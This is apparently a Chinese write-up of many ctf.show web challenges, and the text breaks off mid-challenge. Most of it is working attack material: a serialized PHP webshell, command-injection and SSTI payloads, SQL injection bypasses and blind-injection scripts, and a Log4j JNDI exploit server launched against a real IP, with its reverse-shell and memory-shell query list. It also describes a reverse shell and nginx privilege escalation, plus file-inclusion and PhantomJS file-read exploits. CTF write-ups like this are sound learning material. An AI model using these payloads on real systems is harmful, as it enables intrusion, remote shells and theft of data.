|O:4:"User":3:{s:8:"username";s:8:"test.php";s:8:"password";s:30:"<?php eval($_POST["shell"]);?>";s:6:"status";N;}
base64:
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo4OiJ0ZXN0LnBocCI7czo4OiJwYXNzd29yZCI7czozMDoiPD9waHAgZXZhbCgkX1BPU1RbInNoZWxsIl0pOz8+IjtzOjY6InN0YXR1cyI7Tjt9
urlencode:
%66%45%38%36%4e%44%6f%69%56%58%4e%6c%63%69%49%36%4d%7a%70%37%63%7a%6f%34%4f%69%4a%31%63%32%56%79%62%6d%46%74%5a%53%49%37%63%7a%6f%34%4f%69%4a%30%5a%58%4e%30%4c%6e%42%6f%63%43%49%37%63%7a%6f%34%4f%69%4a%77%59%58%4e%7a%64%32%39%79%5a%43%49%37%63%7a%6f%7a%4d%44%6f%69%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%49%6e%4e%6f%5a%57%78%73%49%6c%30%70%4f%7a%38%2b%49%6a%74%7a%4f%6a%59%36%49%6e%4e%30%59%58%52%31%63%79%49%37%54%6a%74%39

先访问index.php,在服务器上存个session,然后带着修改后的payload再访问index.php

此时会进入这层判断

1
2
3
4
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}

从而把可控的$_cookie[‘limit’]写入session文件中,再访问/inc/inc.php进行反序列化,成功写入文件log-test.php

蚁剑直接连就行

红包题 耗子尾汁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
function CTFSHOW_36_D($a,$b){
$dis = array("var_dump","exec","readfile","highlight_file","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents","");
$a = strtolower($a);
if (!in_array($a,$dis,true)) {
forward_static_call_array($a,$b);
}
}
CTFSHOW_36_D($a,$b);
echo "rlezphp!!!";

主要的重点就是通过forward_static_call_array的回调函数来调用函数,但是forward_static_call_array仅能使用静态的函数,所以eval,include这类函数就没法用

两种解法

套娃

寻找一个没在黑名单内的回调函数,通过forward_static_call_array调用这个回调函数,再调用真正的恶意函数

参考->https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html

奇特的是,黑名单内没有本身这个forward_static_call_array,而且register_shutdown_function也打成了registregister_shutdown_function,所以可以任选一个函数来打

要求回调的第二个参数时array,所以可以构造这样一个链

1
forward_static_call_array->forward_static_call_array->system->'ls'

其中forward_static_call_array为$a,system->’ls’为$b,且$b为array

说明

forward_static_call_array(callable $callback, array $args): mixed

通过 callback 参数指定调用用户定义的函数或者方法。此函数必须在方法上下文中调用,不能在类外使用。它使用后期静态绑定。转发方法的所有参数都作为值和数组传递,类似于 call_user_func_array()

注意 forward_static_call_array() 的参数不是通过引用传递的。

有个坑点就是这个$b为二维数组

1
2
3
4
5
$ar = array(
"system",
array("ls")
);
=>array(2) { [0]=> string(6) "system" [1]=> array(1) { [0]=> string(2) "ls" } }

其中array[0]作为套娃中forward_static_call_array的第一个参数,指定了使用的静态函数名。array[1]作为forward_static_call_array的第二个参数,作为array传入静态函数中

所以payload就是

1
?a=forward_static_call_array&b[]=system&b[][]=ls

命名空间

在php当中默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

注意访问任意全局类、函数或常量,都可以使用完全限定名称,例如 \strlen() 或 \Exception 或 \INI_ALL。

在命名空间内部访问全局类、函数和常量:

1
2
3
4
5
6
7
8
9
10
11
><?php
>namespace Foo;

>function strlen() {}
>const INI_ALL = 3;
>class Exception {}

>$a = \strlen('hi'); // 调用全局函数strlen
>$b = \INI_ALL; // 访问全局常量 INI_ALL
>$c = new \Exception('error'); // 实例化全局类 Exception
>?>

先要引入一个命名空间的了解,在php中默认的命名空间是\,如果不事先写,所有函数都在全局空间中使用,这就有可能造成函数名冲突

所以不难想到直接使用绝对路径调用system函数

1
?a=\system&b[]=cat flag.php

新年好?

js题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app.get('/flag', function (req, res) {
function getflag(flag) {
res.send(flag);
}
let delay = 10 * 1000;
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(getflag, delay,flag);
setTimeout(() => {
clearTimeout(t);
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
});

先定义了一个delay变量为10s,然后再和req.query.delay,传入的参数delay取更大的数

然后用delay作为设置超时的函数,这一眼就是溢出,直接把delay往大了填

1
?delay=99999999999999999999

红包一

F12

Log4j复现

最难复现的一集

1
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 89.117.226.223 -p 8888 -l 1234

起一个log4j exp服务,然后用这个服务里的Basic/TomcatEcho,在访问头里加个cmd:ls能直接打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
Supported LADP Queries
* all words are case INSENSITIVE when send to ldap server

[+] Basic Queries: ldap://127.0.0.1:1389/Basic/[PayloadType]/[Params], e.g.
ldap://127.0.0.1:1389/Basic/Dnslog/[domain]
ldap://127.0.0.1:1389/Basic/Command/[cmd]
ldap://127.0.0.1:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://127.0.0.1:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://127.0.0.1:1389/Basic/TomcatEcho
ldap://127.0.0.1:1389/Basic/SpringEcho
ldap://127.0.0.1:1389/Basic/WeblogicEcho
ldap://127.0.0.1:1389/Basic/TomcatMemshell1
ldap://127.0.0.1:1389/Basic/TomcatMemshell2 ---need extra header [Shell: true]
ldap://127.0.0.1:1389/Basic/JettyMemshell
ldap://127.0.0.1:1389/Basic/WeblogicMemshell1
ldap://127.0.0.1:1389/Basic/WeblogicMemshell2
ldap://127.0.0.1:1389/Basic/JBossMemshell
ldap://127.0.0.1:1389/Basic/WebsphereMemshell
ldap://127.0.0.1:1389/Basic/SpringMemshell

[+] Deserialize Queries: ldap://127.0.0.1:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.
ldap://127.0.0.1:1389/Deserialization/URLDNS/[domain]
ldap://127.0.0.1:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]
ldap://127.0.0.1:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]
ldap://127.0.0.1:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://127.0.0.1:1389/Deserialization/CommonsBeanutils2/TomcatEcho
ldap://127.0.0.1:1389/Deserialization/C3P0/SpringEcho
ldap://127.0.0.1:1389/Deserialization/Jdk7u21/WeblogicEcho
ldap://127.0.0.1:1389/Deserialization/Jre8u20/TomcatMemshell1
ldap://127.0.0.1:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1
ldap://127.0.0.1:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells

[+] TomcatBypass Queries
ldap://127.0.0.1:1389/TomcatBypass/Dnslog/[domain]
ldap://127.0.0.1:1389/TomcatBypass/Command/[cmd]
ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
ldap://127.0.0.1:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://127.0.0.1:1389/TomcatBypass/TomcatEcho
ldap://127.0.0.1:1389/TomcatBypass/SpringEcho
ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell1
ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell2 ---need extra header [Shell: true]
ldap://127.0.0.1:1389/TomcatBypass/SpringMemshell

[+] GroovyBypass Queries
ldap://127.0.0.1:1389/GroovyBypass/Command/[cmd]
ldap://127.0.0.1:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]

[+] WebsphereBypass Queries
ldap://127.0.0.1:1389/WebsphereBypass/List/file=[file or directory]
ldap://127.0.0.1:1389/WebsphereBypass/Upload/Dnslog/[domain]
ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/[cmd]
ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
ldap://127.0.0.1:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://127.0.0.1:1389/WebsphereBypass/Upload/WebsphereMemshell
ldap://127.0.0.1:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp

难复现的一b,傻逼东西

给她

dirb扫出.git泄露,直接githack抓下来个hint.php

1
2
3
<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));

主要的问题出现在$sql中,使用了第二次sprintf操作,而且$pass的值相对可控

sprintf用于把格式化的字符串写入一个变量中

而用于接收的字符格式值固定:

1
2
%% -> 返回一个百分号 %,%b -> 二进制数,%s -> 字符串

当%后所指定的类型是无法识别占位符类型时,sprintf会将其置空

1
"this_is_%'"->sprintf处理,由于%'不被识别,置空->"this_is_"

所以利用这个特性进行绕过addslashes

第一次addslashes+sprintf

1
2
$_GET['pass']=test%1$'#
$pass="and pass=test%1$\'#"

第二次addslashes+sprintf,$pass直接被拼接进去

1
$sql="select * from user where name='%s' and pass='test%1$\'#'"

就在这个时候,对$sql进行sprintf处理,%1$\被置空,留下来的就是

1
select * from user where name='%s' and pass='test'#'

成功闭合

payload

1
?name=1&pass=%1$' or 1=1%23

进去第二步明显发现页面不对,看一眼流量,注意到cookie有file字段,CyberChef直接打出来是string转16进制,读/flag文件就行

签到题

1
2
3
4
5
6
<?php 
if(isset($_GET['url'])){
system("curl https://".$_GET['url'].".ctf.show");
}else{
show_source(__FILE__);
}

payload

1
?url=baidu.com%26%26cat%20flag%26%26

假赛生

就是各种利用空格

提示register.php和login.php,还给了index源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
session_start();
include('config.php');
if(empty($_SESSION['name'])){
show_source("index.php");
}else{
$name=$_SESSION['name'];
$sql='select pass from user where name="'.$name.'"';
echo $sql."<br />";
system('4rfvbgt56yhn.sh');
$query=mysqli_query($conn,$sql);
$result=mysqli_fetch_assoc($query);
if($name==='admin'){
echo "admin!!!!!"."<br />";
if(isset($_GET['c'])){
preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
echo $flag;

看起来没有能session反序列化的地方,register尝试注册admin不允许

但是在sql中,空格的操作还挺有意思

1
SELECT * FROM `admininfo` where realname = 'admin'

这个时候如果表中有名为”admin “的数据(带了个空格),也是能被一起查询出来的

image-20231206121034404

注册的时候传入的”admin”和”admin “又是两个不同的字符串,所以直接注册”admin “,登陆”admin”就行

第二步就是绕过判断

1
preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);

直接fuzz

1
2
3
4
5
6
7
8
import string

import regex

fuzz = string.printable
for i in fuzz:
if not regex.match(r"\w\W*", i):
print(i, end = "")

打出来的结果是

1
2
!"#$%&'()*+,-./:;<=>?@[\]^`{|}~ 	

随便传个?c=!就行

萌新记忆

进去扫网出来个/admin

sql先试探一下,password部分估计是md5,没法闭合,username单引号闭合,简单fuzz一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import string
import requests

url = "http://dcf0879c-3bff-4175-817e-a3a631e1dfc0.challenge.ctf.show/admin/checklogin.php"
fuzz = string.printable
sql_payload = ["select", "union", "or", "and", "||", "&&", "from", "where", "order", "group", "by", "having", "like",
"updatexml", "order", "exp", "floor", "rand", "extractvalue", "geometrycollection", "multipoint",
"polygon", "multipolygon", "linestring", "multilinestring", "sleep", "length", "substr", "mid", "ascii",
"ord", "if", "/**/", "//"]
for i in fuzz:
re = requests.post(url, data = {"u": i, "p": "1"})
if "我报警了" in re.text:
print(i, end = " ")
for sqls in sql_payload:
re = requests.post(url, data = {"u": sqls, "p": "1"})
if "我报警了" in re.text:
print(sqls, end = " ")
1
! " # % & * + - . : ; = > ? @ ] ^ _ ` { } ~ select union or and && from where order by having like order floor rand sleep mid ascii ord if /**/

那其实也没办法闭合了

可以猜测一下里边的sql语句

1
select * from admin where username = '$_POST["u"]' and '$_POST["p"]';

还有一个知识点是应该知道的,就是在sql语句中 and级别高于or

image-20231206162545901

1=1 and password = 't'进行运算,得到结果1,然后再where realname = 'admin' or 1 得到永真

所以这里就可以直接插一条sub来盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
import string

import requests

letter = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = "http://dcf0879c-3bff-4175-817e-a3a631e1dfc0.challenge.ctf.show/admin/checklogin.php"
for times in range(1, 20):
for i in letter:
payload = "'||substr(p,{},1)<'{}".format(times, i)
re = requests.post(url, data = {"u": payload, "p": "1"})
if re.text == "密码错误":
print(letter[letter.find(i) - 1], end = "")
break

密码打出来去掉两个ZZ登陆就行

抽象的是payload还不能带空格,哈哈

签到

一眼丁真www.zip泄密,

拉出来代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
waf_login:
if(preg_match("/load|and|or|\||\&|select|union|\'|=| |\\\|,|sleep|ascii/i",$arr))
waf_register:
if(preg_match("/load|and|\||\&| |\\\|sleep|ascii|if/i",$arr))
register.php:
if(isset($_POST['e'])&&isset($_POST['u'])&&isset($_POST['p']))
{
$e=$_POST['e'];
$u=$_POST['u'];
$p=$_POST['p'];
$sql =
"insert into test1
set email = '$e',
username = '$u',
password = '$p'
";
user.php
if (is_numeric($username))
{
if(strlen($username)>10) {
$username=substr($username,0,10);
}
echo "Hello $username,there's nothing here but dog food!";
}

可以看到要求:

  • username部分必须是数字
  • 在注册功能的waf是明显少很多的

登陆成功之后,如果username是纯数字,则会直接输出username的值出来

所以可以构造username=select(flag/**/from/**/flag),如果要让他变成纯数字并且ascii被ban的情况下,可以使用两层hex函数,第一步将原文转化为16进制,由于16进制含ABCDEF,再套一层可以保证全是数字

所以要考虑如何逃逸出username = '$u'

简单在$e中多拼接一个',后面跟上payload

但是由于换行的限制,在$e中传入的payload处在同行,所以需要用/**/的操作来注释多行

1
2
3
4
5
6
7
8
9
10
如果不使用/**/,仅用#是无法将换行后的username和password注释掉的
insert into test1
set email = '1',username/**/=/**/hex(hex(substr((select/**/flag/**/from/**/flag),12,1))),password/**/=/**/'pass'#',
username = 'user',
password = 'pass'
成功的打法
insert into test1
set email = '1',username/**/=/**/hex(hex(substr((select/**/flag/**/from/**/flag),12,1))),/*',
username = 'user*/#',
password = 'pass'

这样的打法就成功将第三行的username注释掉了,再使用一个#注释后面的'#

所以一个poc就是

1
2
3
e=1',username/**/=/**/hex(hex(substr((select/**/flag/**/from/**/flag),12,1))),/*
&u=*/#
&p=pass

给出一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import re

import requests

url1 = "http://7bc05111-4ec7-4214-81c9-4e8e0c259385.challenge.ctf.show/register.php"
url2 = "http://7bc05111-4ec7-4214-81c9-4e8e0c259385.challenge.ctf.show/login.php"
flag = ""
for i in range(1, 50):
payload = "hex(hex(substr((select/**/flag/**/from/**/flag),{},1)))".format(i)
print(payload)
s = requests.session()
data1 = {
"e": str(i) + "',username=" + payload + ",/*",
"u": "*/#",
"p": i
}
r1 = s.post(url1, data = data1)
data2 = {
"e": str(i),
"p": i
}
r2 = s.post(url2, data = data2)
t = r2.text
real = re.findall("Hello (.*?),", t)[0]
flag += real
print(flag)

得到flag的双重hex转string即可

出题人不想跟你说话.jpg

变成提权了

进去一张图,提示cai和菜刀

直接蚁剑连上去,密码cai

但是进去的用户是www-data,需要考虑提权

hint提示去看看什么服务

直接cat /etc/crontab看看有什么服务

image-20231210191207659

每分钟执行一次/usr/sbin/logrotate -vf /etc/logrotate.d/nginx

蚁剑的终端太傻逼了,反弹个shell到攻击机上

已经提示是nginx服务+提权了,直接有CVE-2016-1247

exp搞下来执行

1
2
chmod -R 777 ./nginx.sh
./nginx.sh /var/log/nginx/error.log

等待一分钟crontab自动执行后提权

image-20231210191545599

蓝瘦

看一眼session一眼flask session伪造

image-20231210192814717

F12给key: ican,直接伪造

打进去提示缺少请求参数!

首页还有个param: ctfshow,传个值进去回显

image-20231210194113312

ssti直接梭,0过滤

1
?ctfshow={%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('env').read()}}{%endif%}{%endfor%}

一览无余

CVE-2019-11043

特点nginx/1.20.1

拿phuip-fpizdam直接打

登陆就有flag

考察的点是mysql的隐式类型转换

当输入'3'-'1'时,mysql引擎会把''包含的当做数字进行减法运算

image-20240127223155075

fuzz之后可用的特殊字符串有!#$&'./:<>?@[]^_{}

显然,可以用& ^来进行操作

select ''^''select ''&''的结果均为0,而sql的select语句又有个特点,指定where=0时,会查询所有非数字开头的记录

所以就直接打一个select * from flag where u=''^''#的payload即可

市赛海燕那个也能这么打'*'

签退

1
<?php ($S = $_GET['S'])?eval("$$S"):highlight_file(__FILE__);

eval中可利用;进行多php语句操作

1
?S=a;system('ls');

预期解是变量覆盖

1
2
3
?S=S=system('cat ../flag.txt');
或者
?S=a=system('cat ../flag.txt');

也有这种打法

1
2
?S=_POST['1']($_POST['2']);
1=system&2=ls

不知所措.jpg

1
$file must has test

必须带test字眼

1
?file=test.

打过去提示flag not here,估计是一层文件包含

伪协议直接打

1
php://filter/read=convert.base64-encode/resource=test.

这里有一个tips

php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(`
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(`
<;两个链的筛选列表> 任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。

在read和resource中间可以任意插入,不影响数据的读取

1
php://filter/read=convert.base64-encode/test/resource=test.

在这里加入test后不影响

所以可以通过这个来读index

1
php://filter/read=convert.base64-encode/test/resource=index.

打出来确实是include,那就直接data打

1
?file=data://text/plain,<?php system('ls');echo 'test'; ?>

easyshell

进入让传个username和password,cookie还带了hash,合理猜测这三个相关

1
md5($secret.$name)===$pass

传username=1,password=hash,发现通过window.location.href自动跳转了两个页面:flflflflag.php,404.html

进burp一步步看,在flflflflag中提示了

1
include($_GET["file"])

既然都include,直接php伪协议把源码读出来

flflflflag.php:

1
2
3
4
5
6
7
8
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>

也就这里的文件包含能利用了

法一:

有个知识点:

PHP可以通过POST或者PUT进行文件上传,上传的文件存在临时文件的存储目录中,在一个正常存活周期后删除

临时文件正常的存货周期

上面这张图是PHP在通过POST方法上传文件时的运行周期图,可以看到我们临时文件的存活周期就是上图红色框中的时间段。另外,如果在php运行的过程中,假如php非正常结束,比如崩溃,那么这个临时文件就会永久的保留。如果php正常的结束,并且该文件没有被移动到其它地方也没有被改名,则该文件将在表单请求结束时被删除。

根据@王一航师傅去年的一个发现,利用php://filter/string.strip_tags造成崩溃。在含有文件包含漏洞的地方,使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录

经过文件扫描后还发现了个dir.php,里面就是var_dump了/tmp的目录

那就可以猜测tmp目录就是/tmp下

给一个python的文件上传脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import io


def upload_file_to_url(url, file_content, file_name):
file_data = io.BytesIO(file_content.encode())

files = {'file': (file_name, file_data)}

response = requests.post(url, files=files)

print(response.text)

target_url = 'http://43f8f4c1-7229-4348-8c40-e5858b937637.challenge.ctf.show/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd'
content_to_upload = '<?php file_put_contents("shell.php","<?php phpinfo();?>")?>'
file_name_to_upload = 'test'

upload_file_to_url(target_url, content_to_upload, file_name_to_upload)

里面使用php://filter/string.strip_tags来造成崩溃,再访问dir.php即可找到该文件的名字

这个文件被包含的结果就是,创建一个shell.php,往里面写入<?php phpinfo();?>

include包含之后直接访问shell.php

法二:

参考:

浅谈 SESSION_UPLOAD_PROGRESS 的利用

LFI 绕过 Session 包含限制 Getshell

Session Upload Progress 最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化Session,PHP也会自动初始化Session。而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。

思路是一样的,包含一个恶意文件,只不过这个恶意文件由session upload得来

给你shell

F12提示传参?view_source,进去显示源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";

if (isset($_GET['view_source'])) {
show_source(__FILE__);
die;
}

function checkCookie($s) {
$arr = explode(':', $s);
if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
return true;
} else {
if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
return false;
}
}

function haveFun($_f_g) {
$_g_r = 32;
$_m_u = md5($_f_g);
$_h_p = strtoupper($_m_u);
for ($i = 0; $i < $_g_r; $i++) {
$_i = substr($_h_p, $i, 1);
$_i = ord($_i);
print_r($_i & 0xC0);
}
die;
}

isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');

if ($obj && isset($_GET['give_me_shell'])) {
($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}

die;

处理流程:如果cookie中设置了secret,赋值给$json,否则给你加上个md5(‘y1ng’)作为cookie

正常情况下cookie的secret为

1
2
3
secret=%7B%22secret%22%3A%22770F0F8B605CFD2BA494849D948D34EF%22%7D
urldecode->
secret={"secret":"770F0F8B605CFD2BA494849D948D34EF"}

进入checkCookie函数,要求$json:前为{"secret",后半部分[\"0-9A-Z]*且以}结尾

往后就是$obj接收$json经过json_decode的内容

如果$obj[‘secret’]!=$flag_md5,就进haveFun函数,里面就是把flag md5后转大写,然后每位都和0xC0异或

测试出来haveFun的输出

1
0006464640064064646464006406464064640064006400000000000

再试试会发现输出有规律:数字->0,字母->64

所以flag md5后的前三个一定是数字

利用php弱比较,数字和数字开头的str比较,str会自动截取,让str转为数字再比较

secret={"secret":123},其中123会被json_decode解析为数字,在这里爆破得到115

进下一步path

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
session_start();

require "hidden_filter.php";

if (!$_SESSION['login'])
die('<script>location.href=\'./index.php\'</script>');

if (!isset($_GET['code'])) {
show_source(__FILE__);
exit();
} else {
$code = $_GET['code'];
if (!preg_match($secret_waf, $code)) {
//清空session 从头再来
eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
} else die('hacker');
}

fuzz一通被ban了``fF”$’()*+/;^|`

直接php短标签提前闭合,造成

1
eval("\$_SESSION[1]?><?=?>]=false;");

接下来要考虑怎么样在新开的标签里读到flag.txt,而且F,f都被ban了,括号也ban了,基本调用不到函数

可以用require来包含(include被ban),加上个~取反来绕过

1
2
echo urlencode(~"/flag.txt")->%d0%99%93%9e%98%d1%8b%87%8b
echo urlencode(~"/flag")->%d0%99%93%9e%98
1
1]?><?=require~%d0%99%93%9e%98?>

RemoteImageDownloader

一眼过去觉得是php+curl,想着file协议直接拿下了

但是测试了发现并不是php,起一个HTTP HEARDER ECHO服务看看UA头得到后端的请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python

try:
from http.server import HTTPServer, BaseHTTPRequestHandler
except:
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
import json

class RequestHandler(BaseHTTPRequestHandler):

def do_GET(self):
request_path = self.path

self.send_response(200)
self.send_header('Content-Type', 'application/json')
self.end_headers()
json_string = json.dumps(dict(self.headers))
self.wfile.write(json_string.encode('utf-8'))

print('%sBegin of Headers%s' % ('-' * 5, '-' * 5))
for k, v in self.headers.items():
print('%s: %s' % (k, v))
print('%sEnd of Headers%s' % ('-' * 5, '-' * 5))

return None

do_POST = do_GET
do_PUT = do_GET
do_DELETE = do_GET

def main():
port = 8080
print('Listening on all interfaces:%s' % port)
server = HTTPServer(('', port), RequestHandler)
server.serve_forever()

if __name__ == "__main__":
parser = OptionParser()
parser.usage = ("Creates an HTTP-header-echo-server.")
(options, args) = parser.parse_args()
main()

image-20240204231410411

PhantomJS2.1.1有CVE-2019-17221

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!doctype html>
<html lang="en">
<head>
<title>test</title>
<style>body { background: white; }</style>
</head>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function () {
document.body.innerText = xhr.responseText;
};
xhr.open('GET', 'file:///flag');
xhr.send();
</script>
</body>
</html>

让服务器访问这个就行

ALL_INFO_U_WANT

很流畅的一道题

扫出index.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

visit all_info_u_want.php and you will get all information you want

= =Thinking that it may be difficult, i decided to show you the source code:


<?php
error_reporting(0);

//give you all information you want
if (isset($_GET['all_info_i_want'])) {
phpinfo();
}

if (isset($_GET['file'])) {
$file = "/var/www/html/" . $_GET['file'];
//really baby include
include($file);
}

?>



really really really baby challenge right?

include日志包含就行

但是real flag不在根目录,要在蚁剑shell找一下

1
2
3
find /etc -name '*' | xargs grep "{"
或者
find /etc | xargs grep "{"

(只能用单引号,其他都报错 难绷

WUSTCT_朴实无华_Revenge

进去就是经典闯关,先给一个判断回文的函数

1
2
3
4
5
6
7
8
9
10
11
12
function isPalindrome($str){
$len=strlen($str);
$l=1;
$k=intval($len/2)+1;
for($j=0;$j<$k;$j++)
if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
$l=0;
break;
}
if ($l==1) return true;
else return false;
}

level1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (isset($_GET['num'])){
$num = $_GET['num'];
$numPositve = intval($num);
$numReverse = intval(strrev($num));
if (preg_match('/[^0-9.-]/', $num)) {
die("非洲欢迎你1");
}
if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
die("非洲欢迎你2");
}
if( $numPositve === $numReverse && !isPalindrome($num) ){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}

就是传入num,经过intval和反向再intval后相等,且原始num不是回文

限定0-9.-

intval是转int的一个函数,会将浮点取整,字符取开头数字

有了提示的.-很容易想到一个payload

1
2
?num=1.10
intval->1;strrev->01.1->intval->1;非回文

level2

1
2
3
4
5
6
7
8
9
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5(md5($md5)))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

双重md5之后相等,明显要求md5绕过,找到两次md5之后都是0e开头即可

0e开头弱比较会认为是科学计数法,0的n次方等于0的m次方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashlib

def md5_hash(s):
return hashlib.md5(s.encode()).hexdigest()

for i in range(1000000000001):
original_str = "0e" + str(i)


first_hash = md5_hash(original_str)
second_hash = md5_hash(first_hash)

if second_hash.startswith("0e") and second_hash[2:].isdigit():
print(original_str)
break
1
?md5=0e3900184182

level3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
